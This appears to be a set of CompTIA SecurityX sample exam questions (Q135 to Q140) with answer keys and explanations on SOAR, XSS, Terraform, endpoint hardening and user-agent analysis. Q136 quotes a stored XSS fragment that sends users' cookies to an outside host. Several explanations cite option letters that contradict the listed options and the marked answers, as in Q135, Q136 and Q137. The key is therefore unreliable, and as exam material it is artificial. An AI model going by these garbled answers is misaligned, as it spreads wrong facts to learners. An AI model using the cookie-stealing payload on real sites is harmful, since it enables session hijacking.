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## CompTIA SecurityX Certification Exam Sample Questions (Q135-Q140):

### NEW QUESTION # 135

An organization recently acquired another company that is running a different EDR solution. A SOC analyst wants to automate the isolation of endpoints that are found to be compromised. Which of the following workflows best mitigates the risk of false positives and reduces the spread of malicious code?

- A. Setting a policy on each EDR management console to isolate all endpoints that trigger any alerts
- B. Reviewing all alerts manually in the various portals and taking action to isolate them
- C. Using a SOAR solution to look up entities via a TIP platform and isolate endpoints via APIs
- D. Automating the suppression of all alerts that are not critical and sending an email asking SOC analysts to review these alerts

**Answer: C**

Explanation:

SecurityX CAS-005 emphasizes automation with validation in security operations. Security Orchestration, Automation, and Response (SOAR) platforms can integrate with Threat Intelligence Platforms (TIPs) to verify threat indicators before triggering automated endpoint isolation through EDR APIs. This approach reduces the spread of malware while minimizing the chance of isolating clean systems due to false positives.

Isolating endpoints on any alert (B) is high-risk and can disrupt business operations.

Manual review (C) is too slow for fast-moving threats.

Suppressing alerts (D) risks missing critical events entirely.

### NEW QUESTION # 136

During a forensic review of a cybersecurity incident, a security engineer collected a portion of the payload used by an attacker on a compromised web server. Given the following portion of the code:

```
..asd...<>..document.location="https://10.10.1.2/7"?x+=document.cookie; ..12..fa..  
<>...ash214*621...41..2...8.8.
```

Which of the following best describes this incident?

- A. SQL injection
- B. Command injection
- C. XSRF attack
- **D. Stored XSS**

**Answer: D**

Explanation:

The provided code snippet shows a script that captures the user's cookies and sends them to a remote server.

This type of attack is characteristic of Cross-Site Scripting (XSS), specifically stored XSS, where the malicious script is stored on the target server (e.g., in a database) and executed in the context of users who visit the infected web page.

\* A. XSRF (Cross-Site Request Forgery) attack: This involves tricking the user into performing actions on a different site without their knowledge but does not involve stealing cookies via script injection.

\* B. Command injection: This involves executing arbitrary commands on the host operating system, which is not relevant to the given JavaScript code.

\* C. Stored XSS: The provided code snippet matches the pattern of a stored XSS attack, where the script is injected into a web page, and when users visit the page, the script executes and sends the user's cookies to the attacker's server.

\* D. SQL injection: This involves injecting malicious SQL queries into the database and is unrelated to the given JavaScript code.

References:

\* CompTIA Security+ Study Guide

\* OWASP (Open Web Application Security Project) guidelines on XSS

\* "The Web Application Hacker's Handbook" by Dafydd Stuttard and Marcus Pinto

### NEW QUESTION # 137

A company is moving several of its systems to a multicloud environment and wants to automate the creation of the new servers using a standard image. Which of the following should the company implement to best support this goal?

- A. Ansible
- B. Bash
- C. PowerShell
- **D. Terraform**

**Answer: D**

Explanation:

The most effective solution is Terraform (C), an Infrastructure as Code (IaC) tool that allows organizations to define and provision infrastructure resources across multiple cloud providers using a consistent configuration language. For a multicloud strategy, Terraform provides cloud-agnostic templates, ensuring that server creation, networking, and storage provisioning are automated and standardized across AWS, Azure, GCP, or other providers. This aligns with CAS-005 best practices for cloud automation and consistency.

PowerShell (A) and Bash (B) are scripting tools that can automate tasks but are typically tied to specific operating systems and lack

multicloud orchestration capabilities. Ansible (D) is a strong automation tool for configuration management and application deployment, but Terraform is specifically designed to provision and manage infrastructure at scale across multicloud environments.

#### NEW QUESTION # 138

A security manager is creating a standard configuration across all endpoints that handle sensitive data. Which of the following techniques should be included in the standard configuration to ensure the endpoints are hardened?

- A. Patch management
- B. Event logging
- C. Resource monitoring
- D. Drive encryption

**Answer: D**

Explanation:

Drive encryption protects sensitive data at rest by ensuring unauthorized access cannot expose the data if the physical endpoint is compromised.

Patch management is a necessary security control but does not specifically address endpoint hardening for sensitive data.

Event logging aids in monitoring and incident detection but does not directly harden endpoints.

Resource monitoring manages system performance and availability but is unrelated to data security.

#### NEW QUESTION # 139

A security analyst discovered requests associated with IP addresses known for both legitimate and bot-related traffic. Which of the following should the analyst use to determine whether the requests are malicious?

- A. HTML encoding field
- B. Web application headers
- C. Byte length of the request
- D. User-agent string

**Answer: D**

Explanation:

The user-agent string can provide valuable information to distinguish between legitimate and bot-related traffic. It contains details about the browser, device, and sometimes the operating system of the client making the request.

Why Use User-Agent String?

\* Identify Patterns: User-agent strings can help identify patterns that are typical of bots or legitimate users.

\* Block Malicious Bots: Many bots use known user-agent strings, and identifying these can help block malicious requests.

\* Anomalies Detection: Anomalous user-agent strings can indicate spoofing attempts or malicious activity.

Other options provide useful information but may not be as effective for initial determination of the nature of the request:

\* B. Byte length of the request: This can indicate anomalies but does not provide detailed information about the client.

\* C. Web application headers: While useful, they may not provide enough distinction between legitimate and bot traffic.

\* D. HTML encoding field: This is not typically used for identifying the nature of the request.

References:

\* CompTIA SecurityX Study Guide

\* "User-Agent Analysis for Security," OWASP

\* NIST Special Publication 800-94, "Guide to Intrusion Detection and Prevention Systems (IDPS)"

#### NEW QUESTION # 140

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